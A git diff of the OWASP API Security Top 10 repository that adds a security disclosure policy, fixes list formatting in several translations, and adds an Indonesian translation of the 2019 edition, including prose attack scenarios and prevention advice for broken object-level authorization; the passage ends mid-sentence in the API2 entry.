diff --git a/SECURITY.md b/SECURITY.md new file mode 100644 index 000000000..2c5e8b80b --- /dev/null +++ b/SECURITY.md @@ -0,0 +1,59 @@ +# Security Policy + + ## Supported Versions + + This repository contains documentation and educational content. + There are no executable components or deployed services associated with this project. + + The `master` branch reflects the latest maintained version of the documentation. + + | Version | Supported | + |--------|-----------| + | master | ✅ | + | Others | ❌ | + + --- + + ## Reporting a Vulnerability + + This repository does **not** directly process user data, authentication, or runtime execution. + However, if you believe you have identified: + + - A security issue affecting linked tooling or referenced examples + - A misconfiguration that could lead to unsafe usage patterns + - A vulnerability related to CI/CD workflows or repository automation + + Please follow **responsible disclosure** practices. + + ### How to Report + - Open a **private GitHub Security Advisory** for this repository, **or** + - Contact the OWASP project maintainers through official OWASP communication channels + + Please include: + - A clear description of the issue + - Steps to reproduce (if applicable) + - Potential impact + - Suggested remediation (if available) + + --- + + ## Disclosure Process + + - Reports will be reviewed by project maintainers + - If applicable, fixes will be discussed and implemented + - Public disclosure may occur after remediation, with reporter credit if desired + + --- + + ## Security Best Practices for Contributors + + - Do not include secrets, tokens, or credentials in documentation or workflows + - Avoid using user-controlled input in CI/CD pipelines without validation + - Follow the OWASP Cheat Sheet Series for secure development and governance practices + + --- + + ## Recognition + + Security researchers and contributors who responsibly disclose issues may be acknowledged + in release notes or project documentation, unless anonymity is requested. diff --git a/VERSION b/VERSION index e7034819f..9aa34646d 100644 --- a/VERSION +++ b/VERSION @@ -1 +1 @@ -2.3.2 \ No newline at end of file +2.7.0 \ No newline at end of file diff --git a/editions/2019/de/0xa9-improper-assets-management.md b/editions/2019/de/0xa9-improper-assets-management.md index 23aba9ae0..c1760c912 100644 --- a/editions/2019/de/0xa9-improper-assets-management.md +++ b/editions/2019/de/0xa9-improper-assets-management.md @@ -10,11 +10,11 @@ Die API könnte verwundbar sein, wenn: * Der Zweck eines API-Hosts unklar ist und es keine klaren Antworten auf folgende Fragen gibt: - * In welcher Umgebung wird die API ausgeführt (z. B. Produktion, Staging, Test, Entwicklung)? - * Wer sollte Netzwerkzugriff auf die API haben (z. B. öffentlich, intern, Partner)? - * Welche API-Version wird ausgeführt? - * Welche Daten werden von der API erfasst und verarbeitet (z. B. PII)? - * Wie verläuft der Datenfluss? + * In welcher Umgebung wird die API ausgeführt (z. B. Produktion, Staging, Test, Entwicklung)? + * Wer sollte Netzwerkzugriff auf die API haben (z. B. öffentlich, intern, Partner)? + * Welche API-Version wird ausgeführt? + * Welche Daten werden von der API erfasst und verarbeitet (z. B. PII)? + * Wie verläuft der Datenfluss? * Es gibt keine Dokumentation oder die vorhandene Dokumentation ist veraltet. * Es gibt keinen Plan zur Ausmusterung jeder API-Version. * Die Dienstübericht der Hosts fehlt oder ist veraltet. diff --git a/editions/2019/el-gr/0xa9-improper-assets-management.md b/editions/2019/el-gr/0xa9-improper-assets-management.md index 87406e470..7c5238481 100644 --- a/editions/2019/el-gr/0xa9-improper-assets-management.md +++ b/editions/2019/el-gr/0xa9-improper-assets-management.md @@ -10,11 +10,11 @@ Το API ίσως είναι ευάλωτο όταν: * Ο σκοπός ενός κεντρικού υπολογιστή API είναι ασαφής και δεν υπάρχουν σαφείς απαντήσεις στις ακόλουθες ερωτήσεις: - * Σε ποιο περιβάλλον εκτελείται το API (π.χ. παραγωγή (production), σταδιοποίηση (staging), δοκιμή (test), ανάπτυξη (development)); - * Ποιος πρέπει να έχει δικτυακή πρόσβαση στο API (π.χ. δημόσια πρόσβαση, εσωτερική πρόσβαση, πρόσβαση σε συνεργάτες); - * Ποια έκδοση API εκτελείται; - * Ποια δεδομένα συλλέγονται και επεξεργάζονται από το API (π.χ. Προσωπικά αναγνωρίσιμα στοιχεία (PII)); - * Ποια είναι η ροή των δεδομένων; + * Σε ποιο περιβάλλον εκτελείται το API (π.χ. παραγωγή (production), σταδιοποίηση (staging), δοκιμή (test), ανάπτυξη (development)); + * Ποιος πρέπει να έχει δικτυακή πρόσβαση στο API (π.χ. δημόσια πρόσβαση, εσωτερική πρόσβαση, πρόσβαση σε συνεργάτες); + * Ποια έκδοση API εκτελείται; + * Ποια δεδομένα συλλέγονται και επεξεργάζονται από το API (π.χ. Προσωπικά αναγνωρίσιμα στοιχεία (PII)); + * Ποια είναι η ροή των δεδομένων; * Δεν υπάρχει τεκμηρίωση (documentation) ή η υπάρχουσα τεκμηρίωση δεν έχει ενημερωθεί. * Δεν υπάρχει σχέδιο απόσυρσης (retirement plan) για κάθε έκδοση API. * Δεν υπάρχει αρχείο καταγραφής όλων των hosts (hosts inventory) ή αν υπάρχει δεν είναι ενημερωμένο. diff --git a/editions/2019/en/0xa9-improper-assets-management.md b/editions/2019/en/0xa9-improper-assets-management.md index 061b3b8fe..c223dcb45 100644 --- a/editions/2019/en/0xa9-improper-assets-management.md +++ b/editions/2019/en/0xa9-improper-assets-management.md @@ -11,12 +11,13 @@ The API might be vulnerable if: * The purpose of an API host is unclear, and there are no explicit answers to the following questions: - * Which environment is the API running in (e.g., production, staging, test, - development)? - * Who should have network access to the API (e.g., public, internal, partners)? - * Which API version is running? - * What data is gathered and processed by the API (e.g., PII)? - * What's the data flow? + * Which environment is the API running in (e.g., production, staging, test, + development)? + * Who should have network access to the API (e.g., public, internal, + partners)? + * Which API version is running? + * What data is gathered and processed by the API (e.g., PII)? + * What's the data flow? * There is no documentation, or the existing documentation is not updated. * There is no retirement plan for each API version. * Hosts inventory is missing or outdated. diff --git a/editions/2019/fa/0xa9-improper-asset-management.md b/editions/2019/fa/0xa9-improper-asset-management.md index 5815e9cd1..ec89b9ec7 100644 --- a/editions/2019/fa/0xa9-improper-asset-management.md +++ b/editions/2019/fa/0xa9-improper-asset-management.md @@ -10,11 +10,11 @@ در صورتی که یکی ازشرایط زیر وجود داشته باشد، API ‌آسیب‌پذیر خواهد بود: * اهدف از وجود API نامشخص بوده و پاسخی برای سوال‌های زیر وجود نداشته باشد: - - در چه محیطی API در حال اجرا است (مثلا محیط تست، توسعه، اجرا یا عملیات )؟ - - چه کسانی بایستی دسترسی شبکه‌ای به API داشته باشند (همه، افراد دخیل یا شرکا)؟ - - چه نسخه‌ای از API در حال اجرا است؟ - - چه داده‌ای (نظیر PII) توسط API در حال جمع آوری و پردازش است؟ - - جریان داده به چه صورت است؟ + - در چه محیطی API در حال اجرا است (مثلا محیط تست، توسعه، اجرا یا عملیات )؟ + - چه کسانی بایستی دسترسی شبکه‌ای به API داشته باشند (همه، افراد دخیل یا شرکا)؟ + - چه نسخه‌ای از API در حال اجرا است؟ + - چه داده‌ای (نظیر PII) توسط API در حال جمع آوری و پردازش است؟ + - جریان داده به چه صورت است؟ * مستندی برای API وجود ندارد یا بروز نیست. * برنام‌ ای برای بازنشستگی و از دور خارج شدن هریک از نسخه‌های API وجود ندارد. * فهرست میزبان‌ها وجود ندارد یا قدیمی است. diff --git a/editions/2019/fr/0xa9-improper-assets-management.md b/editions/2019/fr/0xa9-improper-assets-management.md index 45ae0a044..6328fb04a 100755 --- a/editions/2019/fr/0xa9-improper-assets-management.md +++ b/editions/2019/fr/0xa9-improper-assets-management.md @@ -11,13 +11,14 @@ L'API peut être vulnérable si : * L'objectif de l'hôte de l'API n'est pas clair, et il n'y a pas de réponses explicites aux questions suivantes : - * Dans quel environment tourne l'API (ex : production, staging, test, - développement) ? - * Qui doit avoir un accès réseau à l'API (ex : public, interne, partenaires) ? - * Quelle version de l'API tourne ? - * Quelles données sont collectées et traitées par l'API (ex : données - personnelles) ? - * Quel est le flux des données ? + * Dans quel environment tourne l'API (ex : production, staging, test, + développement) ? + * Qui doit avoir un accès réseau à l'API (ex : public, interne, + partenaires) ? + * Quelle version de l'API tourne ? + * Quelles données sont collectées et traitées par l'API (ex : données + personnelles) ? + * Quel est le flux des données ? * Il n'y a pas de documentation, ou la documentation existante n'est pas mise à jour. * Il n'y a pas de plan pour le retrait / la désactivation (des points d'accès diff --git a/editions/2019/id/0x00-header.md b/editions/2019/id/0x00-header.md new file mode 100644 index 000000000..d12cffdaa --- /dev/null +++ b/editions/2019/id/0x00-header.md @@ -0,0 +1,20 @@ +--- +title: '' +--- + +![OWASP LOGO](./images/owasp-logo.png) + +# OWASP API Security Top 10 2019 + +Sepuluh Risiko Keamanan API yang Paling Kritis + +29 Mei 2019 + +![WASP Logo URL TBA](./images/front-wasp.png) + +| | | | +| - | - | - | +| https://owasp.org | Karya ini dilisensikan di bawah [Creative Commons Attribution-ShareAlike 4.0 International License][1] | ![Creative Commons License Logo](images/front-cc.png) | + +[1]: http://creativecommons.org/licenses/by-sa/4.0/ + diff --git a/editions/2019/id/0x00-notice.md b/editions/2019/id/0x00-notice.md new file mode 100644 index 000000000..5b6ba879d --- /dev/null +++ b/editions/2019/id/0x00-notice.md @@ -0,0 +1,11 @@ +# Pemberitahuan + +Ini adalah versi teks dari OWASP API Security Top 10, digunakan sebagai sumber untuk versi resmi yang didistribusikan sebagai Portable Document Format (PDF). + +Kontribusi terhadap proyek seperti komentar, koreksi, atau terjemahan harus dilakukan di sini. Untuk detail tentang [Cara Berkontribusi][1], harap mengacu pada [CONTRIBUTING.md][1]. + +* Erez Yallon +* Inon Shkedy + +[1]: ../../../CONTRIBUTING.md + diff --git a/editions/2019/id/0x00-toc.md b/editions/2019/id/0x00-toc.md new file mode 100644 index 000000000..6928016b7 --- /dev/null +++ b/editions/2019/id/0x00-toc.md @@ -0,0 +1,23 @@ +# Daftar Isi + +* [Daftar Isi](0x00-toc.md) +* [Tentang OWASP](0x01-about-owasp.md) +* [Kata Pengantar](0x02-foreword.md) +* [Pengenalan](0x03-introduction.md) +* [Catatan Rilis](0x04-release-notes.md) +* [Ancaman Keamanan API](0x10-api-security-risks.md) +* [OWASP Top 10 Ancaman Keamanan API – 2019](0x11-t10.md) +* [API1:2019 Otorisasi Objek Rusak](0xa1-broken-object-level-authorization.md) +* [API2:2019 Otentikasi Pengguna Rusak](0xa2-broken-user-authentication.md) +* [API3:2019 Paparan Data Berlebihan](0xa3-excessive-data-exposure.md) +* [API4:2019 Kurangnya Sumber Daya & Pembatasan Tingkat](0xa4-lack-of-resources-and-rate-limiting.md) +* [API5:2019 Otorisasi Tingkat Fungsi Rusak](0xa5-broken-function-level-authorization.md) +* [API6:2019 Penugasan Massal](0xa6-mass-assignment.md) +* [API7:2019 Konfigurasi Keamanan yang Salah](0xa7-security-misconfiguration.md) +* [API8:2019 Injeksi](0xa8-injection.md) +* [API9:2019 Pengelolaan Aset yang Tidak Tepat](0xa9-improper-assets-management.md) +* [API10:2019 Pencatatan & Pemantauan yang Kurang Memadai](0xaa-insufficient-logging-monitoring.md) +* [Apa yang Selanjutnya untuk Pengembang](0xb0-next-devs.md) +* [Apa yang Selanjutnya untuk DevSecOps](0xb1-next-devsecops.md) +* [Metodologi dan Data](0xd0-about-data.md) +* [Ucapan Terima Kasih](0xd1-acknowledgments.md) \ No newline at end of file diff --git a/editions/2019/id/0x01-about-owasp.md b/editions/2019/id/0x01-about-owasp.md new file mode 100644 index 000000000..42e3d7f8c --- /dev/null +++ b/editions/2019/id/0x01-about-owasp.md @@ -0,0 +1,56 @@ +# Tentang OWASP + +Open Web Application Security Project (OWASP) adalah komunitas terbuka yang didedikasikan +untuk memungkinkan organisasi mengembangkan, membeli, dan memelihara aplikasi dan +API yang dapat dipercaya. + +Di OWASP, Anda akan menemukan yang gratis dan terbuka: + +* Alat dan standar keamanan aplikasi. +* Buku lengkap tentang pengujian keamanan aplikasi, pengembangan kode yang aman, dan + tinjauan kode yang aman. +* Presentasi dan [video][1]. +* [Lembar cheats][2] tentang banyak topik umum. +* Kontrol keamanan dan pustaka standar. +* [Chapter lokal di seluruh dunia][3]. +* Penelitian mutakhir. +* [Konferensi luas di seluruh dunia][4]. +* [Mailing list][5]. + +Pelajari lebih lanjut di: [https://www.owasp.org][6]. + +Semua alat OWASP, dokumen, video, presentasi, dan bab bebas dan +terbuka untuk siapa saja yang tertarik meningkatkan keamanan aplikasi. + +Kami menganjurkan pendekatan keamanan aplikasi sebagai masalah orang, proses, dan +teknologi, karena pendekatan keamanan aplikasi paling efektif memerlukan peningkatan di bidang ini. + +OWASP adalah jenis organisasi baru. Kebebasan kami dari tekanan komersial +memungkinkan kami untuk menyediakan informasi keamanan aplikasi yang tidak memihak, praktis, dan hemat biaya. + +OWASP tidak berafiliasi dengan perusahaan teknologi mana pun, meskipun kami mendukung +penggunaan teknologi keamanan komersial yang cerdas. OWASP memproduksi banyak jenis +bahan dengan cara kolaboratif, transparan, dan terbuka. + +Yayasan OWASP adalah entitas nirlaba yang memastikan kesuksesan jangka panjang proyek. +Hampir semua orang yang terkait dengan OWASP adalah relawan, +termasuk dewan OWASP, pemimpin chapter, pemimpin proyek, dan anggota proyek. Kami mendukung +penelitian keamanan inovatif dengan hibah dan infrastruktur. + +Ayo bergabung dengan kami! + +## Hak Cipta dan Lisensi + +![lisensi](images/license.png) + +Hak Cipta © 2003-2019 Yayasan OWASP. Dokumen ini dirilis di bawah +[Creative Commons Attribution Share-Alike 4.0 license][7]. Untuk penggunaan ulang atau +distribusi, Anda harus menjelaskan kepada orang lain ketentuan lisensi karya ini. + +[1]: https://www.youtube.com/user/OWASPGLOBAL +[2]: https://www.owasp.org/index.php/OWASP_Cheat_Sheet_Series +[3]: https://www.owasp.org/index.php/OWASP_Chapter +[4]: https://www.owasp.org/index.php/Category:OWASP_AppSec_Conference +[5]: https://lists.owasp.org/mailman/listinfo +[6]: https://www.owasp.org +[7]: http://creativecommons.org/licenses/by-sa/4.0/ \ No newline at end of file diff --git a/editions/2019/id/0x02-foreword.md b/editions/2019/id/0x02-foreword.md new file mode 100644 index 000000000..f12b77dd1 --- /dev/null +++ b/editions/2019/id/0x02-foreword.md @@ -0,0 +1,39 @@ +# Kata Pengantar + +Elemen dasar inovasi di dunia aplikasi yang digerakkan saat ini adalah +Antarmuka Pemrograman Aplikasi (API). Dari bank, ritel, dan transportasi +hingga IoT, kendaraan otonom, dan kota pintar, API merupakan bagian penting +dari aplikasi seluler, SaaS, dan web modern dan dapat ditemukan di aplikasi menghadap pelanggan, +menghadap mitra, dan internal. + +Karena sifatnya, API mengekspos logika aplikasi dan data sensitif seperti Informasi Pribadi (PII) dan karena itu, +API semakin menjadi target para penyerang. Tanpa API yang aman, inovasi cepat akan mustahil. + +Meskipun risiko keamanan web aplikasi yang lebih luas Top 10 masih masuk akal, +karena sifat khusus mereka, daftar risiko keamanan API spesifik diperlukan. +Keamanan API berfokus pada strategi dan solusi untuk memahami dan mengurangi +kerentanan dan risiko keamanan yang unik terkait dengan API. + +Jika Anda sudah familiar dengan [Proyek OWASP Top 10][1], maka Anda akan melihat +kesamaan antara kedua dokumen: keduanya ditujukan untuk keterbacaan dan adopsi. Jika Anda baru mengenal +seri OWASP Top 10, mungkin lebih baik membaca bagian [Risiko Keamanan API][2] dan [Metodologi dan Data][3] +sebelum melompat ke daftar 10 besar. + +Anda dapat berkontribusi pada OWASP API Security Top 10 dengan pertanyaan, komentar, +dan ide Anda di repositori proyek GitHub kami: + +* https://github.com/OWASP/API-Security/issues +* https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md + +Anda dapat menemukan OWASP API Security Top 10 di sini: + +* https://www.owasp.org/index.php/OWASP_API_Security_Project +* https://github.com/OWASP/API-Security + +Kami ingin berterima kasih kepada semua kontributor yang membuat proyek ini dimungkinkan dengan upaya dan kontribusi mereka. +Mereka semua tercantum di bagian [Ucapan Terima Kasih][4]. Terima kasih! + +[1]: https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project +[2]: ./0x10-api-security-risks.md +[3]: ./0xd0-about-data.md +[4]: ./0xd1-acknowledgments.md diff --git a/editions/2019/id/0x03-introduction.md b/editions/2019/id/0x03-introduction.md new file mode 100644 index 000000000..072d8cc5b --- /dev/null +++ b/editions/2019/id/0x03-introduction.md @@ -0,0 +1,16 @@ +# Pendahuluan + +## Selamat Datang di OWASP API Security Top 10 - 2019! + +Selamat datang di edisi pertama OWASP API Security Top 10. Jika Anda sudah akrab dengan seri OWASP Top 10, Anda akan melihat kesamaannya: tujuannya adalah mudah dibaca dan diadopsi. Jika tidak, pertimbangkan untuk mengunjungi [halaman wiki OWASP API Security Project][1], sebelum menggali lebih dalam tentang risiko keamanan API yang paling kritis. + +API memainkan peran yang sangat penting dalam arsitektur aplikasi modern. Karena penciptaan kesadaran keamanan dan inovasi memiliki tempo yang berbeda, penting untuk fokus pada kelemahan keamanan API yang umum. + +Tujuan utama OWASP API Security Top 10 adalah untuk mendidik mereka yang terlibat dalam pengembangan dan pemeliharaan API, misalnya pengembang, desainer, arsitek, manajer, atau organisasi. + +Di bagian [Metodologi dan Data][2], Anda dapat membaca lebih lanjut tentang bagaimana edisi pertama ini dibuat. Di versi mendatang, kami ingin melibatkan industri keamanan, dengan panggilan data publik. Untuk saat ini, kami mendorong semua orang untuk berkontribusi dengan pertanyaan, komentar, dan ide di repositori [GitHub][3] atau [Mailing list][4] kami. + +[1]: https://www.owasp.org/index.php/OWASP_API_Security_Project +[2]: ./0xd0-about-data.md +[3]: https://github.com/OWASP/API-Security +[4]: https://groups.google.com/a/owasp.org/forum/#!forum/api-security-project diff --git a/editions/2019/id/0x04-release-notes.md b/editions/2019/id/0x04-release-notes.md new file mode 100644 index 000000000..ff9be9156 --- /dev/null +++ b/editions/2019/id/0x04-release-notes.md @@ -0,0 +1,13 @@ +# Catatan Rilis + +Ini adalah edisi OWASP API Security Top 10 pertama, yang direncanakan akan diperbarui secara berkala, setiap tiga atau empat tahun sekali. + +Tidak seperti versi ini, di versi mendatang, kami ingin melakukan panggilan data publik, melibatkan industri keamanan dalam upaya ini. Di bagian [Metodologi dan Data][1], Anda akan menemukan detail lebih lanjut tentang bagaimana versi ini dibangun. Untuk detail lebih lanjut tentang risiko keamanan, harap merujuk pada bagian [API Security Risks][2]. + +Penting untuk menyadari bahwa selama beberapa tahun terakhir, arsitektur aplikasi telah berubah secara signifikan. Saat ini, API memainkan peran yang sangat penting dalam arsitektur baru ini dari mikroservis, Single Page Applications (SPAs), aplikasi seluler, IoT, dan lainnya. + +OWASP API Security Top 10 merupakan upaya yang dibutuhkan untuk menciptakan kesadaran tentang masalah keamanan API modern. Hanya mungkin karena upaya besar dari beberapa sukarelawan, semuanya terdaftar di bagian [Penghargaan][3]. Terima kasih! + +[1]: ./0xd0-about-data.md +[2]: ./0x10-api-security-risks.md +[3]: ./0xd1-acknowledgments.md diff --git a/editions/2019/id/0x10-api-security-risks.md b/editions/2019/id/0x10-api-security-risks.md new file mode 100644 index 000000000..9bb421457 --- /dev/null +++ b/editions/2019/id/0x10-api-security-risks.md @@ -0,0 +1,38 @@ +# Risiko Keamanan API + +[OWASP Risk Rating Methodology][1] digunakan untuk melakukan analisis risiko. + +Tabel di bawah ini merangkum terminologi yang terkait dengan skor risiko. + +| Agen Ancaman | Dapat Dieksploitasi | Prevalensi Kelemahan | Dapat Dideteksi Kelemahan | Dampak Teknis | Dampak Bisnis | +| :-: | :-: | :-: | :-: | :-: | :-: | +| Khusus API | Mudah: **3** | Luas **3** | Mudah **3** | Parah **3** | Spesifik Bisnis | +| Khusus API | Rata-rata: **2** | Umum **2** | Rata-rata **2** | Sedang **2** | Spesifik Bisnis | +| Khusus API | Sulit: **1** | Sulit **1** | Sulit **1** | Minor **1** | Spesifik Bisnis | + +**Catatan**: Pendekatan ini tidak memperhitungkan kemungkinan agen ancaman. Juga tidak memperhitungkan berbagai detail teknis yang terkait dengan aplikasi tertentu Anda. Faktor-faktor apa pun dapat secara signifikan mempengaruhi kemungkinan keseluruhan penyerang menemukan dan mengeksploitasi kerentanan tertentu. Peringkat ini tidak memperhitungkan dampak aktual pada bisnis Anda. Organisasi Anda harus memutuskan seberapa banyak risiko keamanan dari aplikasi dan API yang akan diterima organisasi mengingat budaya, industri, dan lingkungan peraturan Anda. Tujuan OWASP API Security Top 10 bukan untuk melakukan analisis risiko ini untuk Anda. + +## Referensi + +### OWASP + +* [OWASP Risk Rating Methodology][1] +* [Article on Threat/Risk Modeling][2] + +### Eksternal + +* [ISO 31000: Risk Management Std][3] +* [ISO 27001: ISMS][4] +* [NIST Cyber Framework (US)][5] +* [ASD Strategic Mitigations (AU)][6] +* [NIST CVSS 3.0][7] +* [Microsoft Threat Modeling Tool][8] + +[1]: https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology +[2]: https://www.owasp.org/index.php/Threat_Risk_Modeling +[3]: https://www.iso.org/iso-31000-risk-management.html +[4]: https://www.iso.org/isoiec-27001-information-security.html +[5]: https://www.nist.gov/cyberframework +[6]: https://www.asd.gov.au/infosec/mitigationstrategies.htm +[7]: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator +[8]: https://www.microsoft.com/en-us/download/details.aspx?id=49168 diff --git a/editions/2019/id/0x11-t10.md b/editions/2019/id/0x11-t10.md new file mode 100644 index 000000000..3e9257185 --- /dev/null +++ b/editions/2019/id/0x11-t10.md @@ -0,0 +1,14 @@ +# OWASP Top 10 Risiko Keamanan API – 2019 + +| Risiko | Deskripsi | +| ---- | ----------- | +| API1:2019 - Otorisasi Tingkat Objek yang Rusak | API cenderung mengekspos endpoint yang menangani pengidentifikasi objek, menciptakan masalah Otorisasi Akses Tingkat yang luas. Pemeriksaan otorisasi tingkat objek harus dipertimbangkan dalam setiap fungsi yang mengakses sumber data menggunakan input dari pengguna. | +| API2:2019 - Otentikasi Pengguna yang Rusak | Mekanisme otentikasi sering diimplementasikan dengan salah, memungkinkan penyerang mengkompromikan token otentikasi atau memanfaatkan celah implementasi untuk mengambil alih identitas pengguna lain sementara atau permanen. Mengompromikan kemampuan sistem untuk mengidentifikasi klien/pengguna, mengkompromikan keamanan API secara keseluruhan. | +| API3:2019 - Pemaparan Data yang Berlebihan | Menantikan implementasi generik, pengembang cenderung mengekspos semua properti objek tanpa mempertimbangkan sensitivitas individu mereka, mengandalkan klien untuk melakukan penyaringan data sebelum menampilkannya ke pengguna. | +| API4:2019 - Kurangnya Sumber Daya & Pembatasan Laju | Cukup sering, API tidak memberlakukan pembatasan apa pun pada ukuran atau jumlah sumber daya yang dapat diminta oleh klien/pengguna. Tidak hanya dapat berdampak pada kinerja server API, yang mengarah ke Denial of Service (DoS), tetapi juga membiarkan pintu terbuka untuk celah otentikasi seperti brute force. | +| API5:2019 - Otorisasi Tingkat Fungsi yang Rusak | Kebijakan kontrol akses kompleks dengan hierarki, kelompok, dan peran yang berbeda, dan pemisahan yang tidak jelas antara fungsi administratif dan reguler, cenderung mengarah pada celah otorisasi. Dengan memanfaatkan masalah ini, penyerang mendapatkan akses ke sumber daya pengguna lain dan/atau fungsi administratif. | +| API6:2019 - Mass Assignment | Mengikat data yang disediakan klien (misalnya, JSON) ke model data, tanpa penyaringan properti yang tepat berdasarkan daftar putih, biasanya mengarah ke Mass Assignment. Menebak properti objek, mengeksplorasi titik akhir API lainnya, membaca dokumentasi, atau menyediakan properti objek tambahan dalam muatan permintaan, memungkinkan penyerang memodifikasi properti objek yang seharusnya tidak mereka lakukan. | +| API7:2019 - Kesalahan Konfigurasi Keamanan | Kesalahan konfigurasi keamanan umumnya merupakan hasil dari konfigurasi default yang tidak aman, konfigurasi yang tidak lengkap atau ad-hoc, penyimpanan cloud terbuka, header HTTP yang dikonfigurasi salah, metode HTTP yang tidak perlu, berbagi sumber daya Cross-Origin (CORS) yang longgar, dan pesan kesalahan yang terperinci mengandung informasi sensitif. | +| API8:2019 - Injeksi | Celah injeksi, seperti SQL, NoSQL, Command Injection, dll., terjadi ketika data yang tidak dipercaya dikirim ke interpreter sebagai bagian dari perintah atau kueri. Data berbahaya penyerang dapat menipu interpreter untuk mengeksekusi perintah yang tidak diinginkan atau mengakses data tanpa otorisasi yang tepat. | +| API9:2019 - Pengelolaan Aset yang Tidak Tepat | API cenderung mengekspos lebih banyak endpoint daripada aplikasi web tradisional, sehingga dokumentasi yang tepat dan terbaru sangat penting. Inventarisasi host dan versi API yang diterapkan yang tepat juga memainkan peran penting untuk memitigasi masalah seperti versi API usang dan endpoint debug yang terekspos. | +| API10:2019 - Logging & Pemantauan yang Tidak Memadai | Pencatatan dan pemantauan yang tidak memadai, dipasangkan dengan integrasi insiden yang hilang atau tidak efektif, memungkinkan penyerang untuk menyerang sistem lebih lanjut, mempertahankan persistensi, berpindah ke lebih banyak sistem untuk mengutak-atik, mengekstrak, atau menghancurkan data. Sebagian besar studi pelanggaran menunjukkan waktu untuk mendeteksi pelanggaran adalah lebih dari 200 hari, biasanya dideteksi oleh pihak eksternal daripada proses internal atau pemantauan. | \ No newline at end of file diff --git a/editions/2019/id/0xa1-broken-object-level-authorization.md b/editions/2019/id/0xa1-broken-object-level-authorization.md new file mode 100644 index 000000000..8ca947d1e --- /dev/null +++ b/editions/2019/id/0xa1-broken-object-level-authorization.md @@ -0,0 +1,43 @@ +# API1:2019 Otorisasi Tingkat Objek yang Rusak + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: Eksploitasi **3** | Prevalensi **3** : Deteksi **2** | Teknis **3** : Spesifik Bisnis | +| Penyerang dapat memanfaatkan endpoint API yang rentan terhadap otorisasi tingkat objek yang rusak dengan memanipulasi ID objek yang dikirim dalam permintaan. Hal ini dapat menyebabkan akses tidak sah ke data sensitif. Masalah ini sangat umum dalam aplikasi berbasis API karena komponen server biasanya tidak sepenuhnya melacak status klien, dan sebaliknya, lebih bergantung pada parameter seperti ID objek, yang dikirim dari klien untuk memutuskan objek mana yang akan diakses. | Ini telah menjadi serangan paling umum dan berdampak pada API. Mekanisme otorisasi dan kontrol akses dalam aplikasi modern kompleks dan meluas. Bahkan jika aplikasi mengimplementasikan infrastruktur yang tepat untuk pemeriksaan otorisasi, pengembang mungkin lupa menggunakan pemeriksaan ini sebelum mengakses objek sensitif. Deteksi kontrol akses biasanya tidak dapat diterapkan untuk pengujian statis atau dinamis otomatis. | Akses tidak sah dapat mengakibatkan pengungkapan data ke pihak yang tidak berwenang, kehilangan data, atau manipulasi data. Akses tidak sah ke objek juga dapat mengarah ke pengambilalihan akun secara penuh. | + +## Apakah API Rentan? + +Otorisasi tingkat objek adalah mekanisme kontrol akses yang biasanya diimplementasikan di tingkat kode untuk memvalidasi bahwa satu pengguna hanya dapat mengakses objek yang seharusnya mereka akses. + +Setiap endpoint API yang menerima ID objek, dan melakukan jenis tindakan apa pun pada objek, harus menerapkan pemeriksaan otorisasi tingkat objek. Pemeriksaan harus memvalidasi bahwa pengguna yang login memiliki akses untuk melakukan tindakan yang diminta pada objek yang diminta. + +Kegagalan dalam mekanisme ini biasanya menyebabkan pengungkapan informasi yang tidak sah, modifikasi, atau penghancuran semua data. + +## Skenario Serangan Contoh + +### Skenario #1 + +Platform e-commerce untuk toko online (toko) menyediakan halaman daftar dengan grafik pendapatan untuk toko hosting mereka. Memeriksa permintaan browser, penyerang dapat mengidentifikasi endpoint API yang digunakan sebagai sumber data untuk grafik tersebut dan polanya `/shops/{shopName}/revenue_data.json`. Menggunakan endpoint API lainnya, penyerang dapat mendapatkan daftar semua nama toko yang di-host. Dengan skrip sederhana untuk memanipulasi nama di daftar, mengganti `{shopName}` dalam URL, penyerang mendapatkan akses ke data penjualan ribuan toko e-commerce. + +### Skenario #2 + +Saat memantau lalu lintas jaringan perangkat wearable, permintaan HTTP `PATCH` berikut menarik perhatian penyerang karena adanya header permintaan HTTP kustom `X-User-Id: 54796`. Mengganti nilai `X-User-Id` dengan `54795`, penyerang menerima respons HTTP yang berhasil, dan dapat memodifikasi data akun pengguna lain. + +## Cara Mencegah + +* Implementasikan mekanisme otorisasi yang tepat yang mengandalkan kebijakan dan hierarki pengguna. +* Gunakan mekanisme otorisasi untuk memeriksa apakah pengguna yang login memiliki akses untuk melakukan tindakan yang diminta pada catatan di setiap fungsi yang menggunakan input dari klien untuk mengakses catatan di database. +* Lebih baik menggunakan nilai acak dan tidak terduga sebagai ID catatan. +* Menulis tes untuk mengevaluasi mekanisme otorisasi. Jangan menerapkan perubahan rentan yang merusak tes. + +## Referensi + +### Eksternal + +* [CWE-284: Kontrol Akses yang Tidak Tepat][1] +* [CWE-285: Otorisasi yang Tidak Tepat][2] +* [CWE-639: Otorisasi Melewati Kunci yang Dikendalikan Pengguna][3] + +[1]: https://cwe.mitre.org/data/definitions/284.html +[2]: https://cwe.mitre.org/data/definitions/285.html +[3]: https://cwe.mitre.org/data/definitions/639.html \ No newline at end of file diff --git a/editions/2019/id/0xa2-broken-user-authentication.md b/editions/2019/id/0xa2-broken-user-authentication.md new file mode 100644 index 000000000..325e54b49 --- /dev/null +++ b/editions/2019/id/0xa2-broken-user-authentication.md @@ -0,0 +1,63 @@ +# API2:2019 Otentikasi Pengguna yang Rusak + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API: Eksploitasi **3** | Prevalensi **2** : Deteksi **2** | Teknis **3** : Spesifik Bisnis | +| Otentikasi dalam API adalah mekanisme yang kompleks dan membingungkan. Insinyur perangkat lunak dan keamanan mungkin memiliki kesalahpahaman tentang batasan otentikasi dan cara mengimplementasikannya dengan benar. Selain itu, mekanisme otentikasi adalah target yang mudah bagi penyerang, karena terbuka untuk semua orang. Dua poin ini membuat komponen otentikasi berpotensi rentan terhadap banyak eksploitasi. | Ada dua sub-masalah: 1. Kurangnya mekanisme perlindungan: endpoint API yang bertanggung jawab untuk otentikasi harus diperlakukan berbeda dari endpoint reguler dan menerapkan lapisan perlindungan tambahan 2. Kesalahan implementasi mekanisme: Mekanisme digunakan/diimplementasikan tanpa mempertimbangkan vektor serangan, atau itu kasus penggunaan yang salah (misalnya, mekanisme otentikasi yang dirancang untuk klien IoT mungkin 